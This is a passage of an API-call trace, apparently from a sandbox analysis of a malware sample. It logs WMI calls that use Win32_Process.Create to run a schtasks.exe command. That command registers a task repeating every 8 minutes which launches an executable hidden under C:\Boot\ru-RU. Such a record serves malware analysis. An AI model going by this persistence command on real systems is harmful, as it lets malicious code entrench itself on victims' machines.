puCount=0x1bb7e610*=0x2) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0131.092] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0131.092] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0131.092] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0131.092] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0131.092] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.094] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbbe400) returned 0x0 [0131.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe400, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0131.094] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe400, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbbefe0) returned 0x0 [0131.094] WbemDefPath:IUnknown:Release (This=0x1bbbe400) returned 0x0 [0131.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbbefe0) returned 0x0 [0131.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0131.095] WbemDefPath:IUnknown:AddRef (This=0x1bbbefe0) returned 0x3 [0131.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0131.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0131.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbbe440) returned 0x0 [0131.095] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.095] WbemDefPath:IUnknown:Release (This=0x1bbbe440) returned 0x3 [0131.095] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0131.096] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0131.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0131.096] WbemDefPath:IUnknown:Release (This=0x1bbbefe0) returned 0x2 [0131.096] WbemDefPath:IUnknown:Release (This=0x1bbbefe0) returned 0x1 [0131.096] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0131.096] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0131.096] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbefe0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbbefe0) returned 0x0 [0131.096] WbemDefPath:IUnknown:AddRef (This=0x1bbbefe0) returned 0x3 [0131.096] WbemDefPath:IUnknown:Release (This=0x1bbbefe0) returned 0x2 [0131.096] WbemDefPath:IWbemPath:SetText (This=0x1bbbefe0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0131.096] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.096] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0131.096] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.096] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.096] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.096] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.096] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.098] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe480) returned 0x0 [0131.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe480, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.099] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe480, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf0a0) returned 0x0 [0131.099] WbemDefPath:IUnknown:Release (This=0x1bbbe480) returned 0x0 [0131.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf0a0) returned 0x0 [0131.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.099] WbemDefPath:IUnknown:AddRef (This=0x1bbbf0a0) returned 0x3 [0131.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe4c0) returned 0x0 [0131.100] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe4c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.100] WbemDefPath:IUnknown:Release (This=0x1bbbe4c0) returned 0x3 [0131.100] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.100] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.100] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x2 [0131.100] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x1 [0131.100] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.100] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf0a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf0a0) returned 0x0 [0131.100] WbemDefPath:IUnknown:AddRef (This=0x1bbbf0a0) returned 0x3 [0131.100] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x2 [0131.100] WbemDefPath:IWbemPath:SetText (This=0x1bbbf0a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0131.100] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbefe0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.100] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf0a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0131.100] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf0a0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0131.100] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf0a0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0131.101] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbefe0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf0a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf0a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf0a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0131.101] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbefe0, uIndex=0x0, pszName="root") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf0a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf0a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0131.101] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbefe0, uIndex=0x1, pszName="cimv2") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf0a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf0a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbefe0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbefe0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbefe0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbefe0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbefe0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbefe0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbefe0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0131.101] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbefe0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0131.102] IWbemServices:GetObject (in: This=0x1bbaaf90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb93e40, ppCallResult=0x0) returned 0x0 [0131.107] IWbemClassObject:GetMethod (in: This=0x1bb93e40, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb941b0, ppOutSignature=0x1bb7e690*=0x1bb94520) returned 0x0 [0131.108] IWbemClassObject:SpawnInstance (in: This=0x1bb941b0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbcc8b0) returned 0x0 [0131.108] IWbemClassObject:Get (in: This=0x1bbcc8b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5c28*=0, plFlavor=0x27e5c2c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5c28*=8, plFlavor=0x27e5c2c*=32) returned 0x0 [0131.108] IWbemClassObject:Get (in: This=0x1bbcc8b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5c28*=8, plFlavor=0x27e5c2c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5c28*=8, plFlavor=0x27e5c2c*=32) returned 0x0 [0131.109] IWbemClassObject:Put (This=0x1bbcc8b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 8 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0131.109] IWbemClassObject:Get (in: This=0x1bbcc8b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5cb8*=0, plFlavor=0x27e5cbc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5cb8*=13, plFlavor=0x27e5cbc*=32) returned 0x0 [0131.109] IWbemClassObject:Get (in: This=0x1bbcc8b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5cb8*=13, plFlavor=0x27e5cbc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e5cb8*=13, plFlavor=0x27e5cbc*=32) returned 0x0 [0131.109] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb93760) returned 0x0 [0131.109] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0131.109] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0131.109] IUnknown:AddRef (This=0x1bb93760) returned 0x3 [0131.110] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0131.110] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0131.110] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb93768) returned 0x0 [0131.110] IMarshal:GetUnmarshalClass (in: This=0x1bb93768, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0131.110] IUnknown:Release (This=0x1bb93768) returned 0x3 [0131.110] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0131.110] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0131.110] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0131.110] IUnknown:Release (This=0x1bb93760) returned 0x2 [0131.111] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0131.111] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0131.111] IUnknown:QueryInterface (in: This=0x1bb93760, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, 